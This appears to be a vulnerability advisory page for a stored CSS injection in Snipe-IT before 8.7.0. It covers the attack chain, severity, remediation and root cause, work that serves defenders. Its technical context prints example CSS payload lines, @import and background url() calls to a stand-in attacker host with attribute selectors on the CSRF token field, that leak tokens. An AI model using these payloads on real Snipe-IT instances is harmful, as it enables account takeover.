Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain superuser access to Snipe-IT
-
DeliveryPlant @import/url() CSS in Custom CSS field
-
ExploitVictim superuser loads page rendering CSS
-
ExecutionAttribute-selector rules leak CSRF token to attacker
-
PersistReplay token to act as victim
-
ImpactSuperuser account takeover
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires superuser privileges to write the Custom CSS branding setting (PR:H) - this is not exploitable by ordinary users or unauthenticated attackers. Exploitation further requires at least one OTHER superuser to browse the application while the malicious CSS is stored, and the attacker must control an external HTTP(S) endpoint to receive @import/url() callbacks; the target must be running Snipe-IT before 8.7.0 where the sanitizer fails to filter @import and absolute url() references. No end-user click beyond normal navigation is needed (UI:N), but the payload only fires against superuser sessions. |
| Impact | This is a genuine account-takeover chain but gated by a high privilege bar: the CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N, VC:H/VI:H, SC:H/SI:H) confirms the attacker must already hold superuser rights to plant the payload - so the practical threat is a rogue or compromised admin escalating laterally against other superusers, not a remote unauthenticated break-in. No EPSS score or KEV listing was supplied, so there is no evidence of mass automated exploitation; the realistic model is targeted insider or post-compromise privilege consolidation rather than internet-wide scanning. The 9.3 score is inflated by the network/no-UI metrics even though PR:H substantially narrows who can trigger it, so any organization running Snipe-IT with multiple superusers should treat it as a real internal-trust issue worth prompt patching, while single-superuser deployments face marginal exposure. Publicly available exploit detail from VulnCheck raises weaponization odds, so defenders should prioritize the upgrade over relying on the privilege gate alone. |
| Exploit ScenarioDerived | A rogue or phished superuser saves a Custom CSS payload containing @import of an attacker-hosted stylesheet plus attribute-selector rules targeting input[name="_token"]. When any other superuser loads a Snipe-IT page, their browser renders the injected CSS, leaking their CSRF token character-by-character to the attacker's server, which the attacker then replays to perform state-changing actions as the victim and take over the account. Public exploit detail exists in the VulnCheck advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 08, 2026
Stored CSS injection in Snipe-IT before 8.7.0 lets a superuser plant malicious CSS in the Custom CSS branding setting that executes in every other superuser's browser, exfiltrating their CSRF tokens and enabling account takeover. The flawed sanitizer HTML-encoded input but then selectively reversed the encoding on '>' and '"' while never filtering @import or url(), permitting attribute-selector rules to leak tokens character-by-character. Publicly available exploit code exists via the VulnCheck advisory; no public exploit identified as actively exploited, and no EPSS/KEV signal was provided.
RemediationAI
Vendor-released patch: upgrade to Snipe-IT 8.7.0 or later, which rewrites the Custom CSS sanitizer to strip_tags input, remove @import at-rules, and block absolute/protocol-relative/data:/javascript: url() targets (commit d26d716; advisory GHSA-pvcw-mp8q-mj39). If you cannot upgrade immediately, clear or blank the Custom CSS branding field and restrict who holds the superuser role, since only superusers can set that field - the trade-off is losing custom branding styling. As a compensating control, minimize the number of superuser accounts and audit the current custom_css setting value for @import or absolute url() references, and consider a CSP that restricts style-src/img-src to same-origin to blunt external-stylesheet and background-url exfiltration, accepting that a strict CSP may break other legitimate external assets.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Snipe-IT is a PHP/Laravel open-source IT asset-management application (CPE cpe:2.3:a:grokability:snipe-it). The root cause is CWE-79 (improper neutralization of input) in Setting::show_custom_css(). The prior sanitizer ran e()/encode, blanked 'script', then re-decoded '>'→'>' and '"'→'"' to allow legitimate CSS selectors - silently undoing its own escaping - and never addressed CSS-native abuse primitives. Because the stored value is emitted inside a <style> block on every layout for every superuser, an attacker uses @import url("https://attacker/x.css") to pull an unrestricted external stylesheet, or background:url("https://attacker/?t=..."), combined with attribute-selector rules like input[name="_token"][value^="a"]{background:url(...)} to leak the anti-CSRF token one character per page load. The 8.7.0 fix (commit d26d716) replaces the chain with strip_tags(), removes @import at-rules, and rejects absolute/protocol-relative/data:/javascript:/vbscript: url() targets while permitting same-origin relative asset paths.
Know when Snipe It gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
Superuser must plant the payload (PR:H); it executes in a different superuser's browser context to steal tokens (S:C), yielding confidentiality and integrity/ATO impact with no availability effect.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Snipe-IT versions before 8.7.0 contain a CSS injection vulnerability in the Custom CSS field due to incomplete sanitization that reverses HTML encoding on greater-than and double-quote characters. Superusers can plant malicious CSS payloads using @import and url() references to exfiltrate CSRF tokens from other superusers via attribute-selector rules, enabling account takeover.
Technical POC Analysis
The vulnerable function is App\Models\Setting::showcustomcss().
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Snipe-IT asset management deployments before version 8.7.0 face risk of administrative account takeover through a flaw in the custom branding feature. Attackers with superuser access can inject malicious code that compromises other administrators' accounts, potentially granting full control over organizational IT assets and inventory data. Leadership should ensure immediate patching to protect critical asset management infrastructure and administrative access controls.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.
Cross-Site Request Forgery (CSRF) in GitHub repository snipe/snipe-it prior to v.6.2.3. Rated high severity (CVSS 8.8),
In Snipe-IT, versions v3.0-alpha to v5.3.7 are vulnerable to Host Header Injection. Rated high severity (CVSS 8.8), this
snipe-it is vulnerable to Cross-Site Request Forgery (CSRF). Rated high severity (CVSS 8.8), this vulnerability is remot
snipe-it is vulnerable to Cross-Site Request Forgery (CSRF). Rated high severity (CVSS 8.8), this vulnerability is remot
Two-factor authentication bypass in Snipe-IT (all releases before 8.7.0) allows an attacker who already knows a victim's
Session Fixation in GitHub repository snipe/snipe-it prior to 6.0.10. Rated high severity (CVSS 8.0), this vulnerability
Old sessions are not blocked by the login enable function. Rated high severity (CVSS 7.4), this vulnerability is remotel
snipe-it is vulnerable to Server-Side Request Forgery (SSRF). Rated high severity (CVSS 7.2), this vulnerability is remo
Broken authorization in Snipe-IT before 8.6.2 lets an authenticated non-admin user who holds users.view and users.edit -
Privilege escalation via authorization bypass in Snipe-IT versions prior to 8.6.0 allows any authenticated user holding
Improper permission handling in Snipe-IT before 8.6.0 lets a privileged user strip another user's administrative or gran
Snipe-IT before 7.0.10 allows remote code execution (associated with cookie serialization) when an attacker knows the AP
EUVD-2026-72874
GHSA-hxfh-ccwg-qrc6
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB